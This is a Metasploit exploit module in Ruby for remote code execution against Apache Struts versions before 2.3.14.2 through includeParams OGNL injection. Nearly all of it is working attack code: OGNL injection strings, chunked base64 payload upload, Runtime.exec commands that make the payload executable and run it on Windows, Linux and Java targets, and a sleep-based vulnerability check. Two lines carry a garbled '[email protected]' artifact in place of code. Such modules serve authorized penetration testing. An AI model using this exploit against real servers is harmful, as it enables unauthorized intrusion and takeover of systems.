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jvazquez-r7
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Land rapid7#1870, @Console exploit for Struts includeParams injection
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‎modules/exploits/multi/http/struts_include_params.rb

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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache Struts includeParams Remote Code Execution',
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'Description' => %q{
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This module exploits a remote command execution vulnerability in Apache Struts
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versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
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arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
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},
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'Author' =>
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[
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'Eric Kobrin', # Vulnerability Discovery
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'Douglas Rodrigues', # Vulnerability Discovery
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'Coverity security Research Laboratory', # Vulnerability Discovery
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'NSFOCUS Security Team', # Vulnerability Discovery
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'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-2115'],
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[ 'CVE', '2013-1966'],
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[ 'OSVDB', '93645'],
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[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'],
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[ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html']
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],
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'Platform' => [ 'win', 'linux', 'java'],
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'Privileged' => true,
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'Targets' =>
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[
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['Windows Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'windows'
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}
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],
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['Linux Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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}
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],
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[ 'Java Universal',
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{
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'Arch' => ARCH_JAVA,
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'Platform' => 'java'
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},
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]
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],
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'DisclosureDate' => 'May 24 2013',
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'DefaultTarget' => 2))
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('PARAMETER',[ true, 'The parameter to use for the exploit (does not have to be an expected one).',rand_text_alpha_lower(4)]),
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OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank3/example/HelloWorld.action"]),
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OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','GET', ['GET','POST']]),
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OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
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], self.class)
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#initialise some base vars
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@inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
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@java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()"
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end
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def execute_command(cmd, opts = {})
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inject_string = @inject.gsub(/CMD/,cmd)
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uri = normalize_uri(target_uri.path)
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req_hash = {'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] }
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case datastore['HTTPMETHOD']
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when 'POST'
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req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject_string }})
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when 'GET'
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req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject_string }})
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end
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# Display a nice "progress bar" instead of message spam
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case @notify_flag
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when 0
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print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload")
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@notify_flag = 1
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when 1
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print(".") # Progress dots
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when 2
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print_status("Payload upload complete")
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end
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return send_request_cgi(req_hash) #Used for check function.
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end
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def exploit
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#Set up generic values.
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@payload_exe = rand_text_alphanumeric(4+rand(4))
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pl_exe = generate_payload_exe
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append = false
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#Now arch specific...
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case target['Platform']
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when 'linux'
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@payload_exe = "/tmp/#{@payload_exe}"
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chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
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exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
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when 'java'
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@payload_exe << ".jar"
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pl_exe = payload.encoded_jar.pack
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exec_cmd = ""
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exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
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exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
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exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
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exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
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exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
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exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
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exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
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exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
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when 'windows'
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@payload_exe = "./#{@payload_exe}.exe"
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exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
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else
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fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
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end
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print_status("Preparing payload...")
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# Now with all the arch specific stuff set, perform the upload.
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# Need to calculate amount to allocate for non-dynamic parts of the URL.
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# Fixed strings are tokens used for substitutions.
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append_length = append ? "true".length : "false".length # Gets around the boolean/string issue
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sub_from_chunk = append_length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length )
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sub_from_chunk += ( @inject.length - "CMD".length ) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
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case datastore['HTTPMETHOD']
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when 'GET'
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chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items.
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#This lets us know the length remaining for our base64'd payloads
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chunk_length = ((chunk_length/4).floor)*3
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when 'POST'
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chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about the size of the URL anymore.
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end
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@notify_flag = 0
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while pl_exe.length > chunk_length
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java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
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pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
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append = true
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end
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java_upload_part(pl_exe,@payload_exe,append)
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execute_command(chmod_cmd) if target['Platform'] == 'linux'
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print_line() # new line character, after progress bar.
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@notify_flag = 2 # upload is complete, next command we're going to execute the uploaded file.
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execute_command(exec_cmd)
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register_files_for_cleanup(@payload_exe)
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end
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def java_upload_part(part, filename, append = false)
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cmd = @java_upload_part_cmd.gsub(/FILENAME/,filename)
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append = append ? "true" : "false" # converted for the string replacement.
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cmd = cmd.gsub!(/APPEND/,append)
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cmd = cmd.gsub!(/BUFFER/,Rex::Text.encode_base64(part))
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execute_command(cmd)
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end
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def check
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print_status("Performing Check...")
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sleep_time = datastore['CHECK_SLEEPTIME']
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check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
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t1 = Time.now
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print_status("Asking remote server to sleep for #{sleep_time} seconds")
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response = execute_command(check_cmd)
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t2 = Time.now
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delta = t2 - t1
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if response.nil?
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return Exploit::CheckCode::Safe
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elsif delta < sleep_time
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return Exploit::CheckCode::Safe
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else
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return Exploit::CheckCode::Appears
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end
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end
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end

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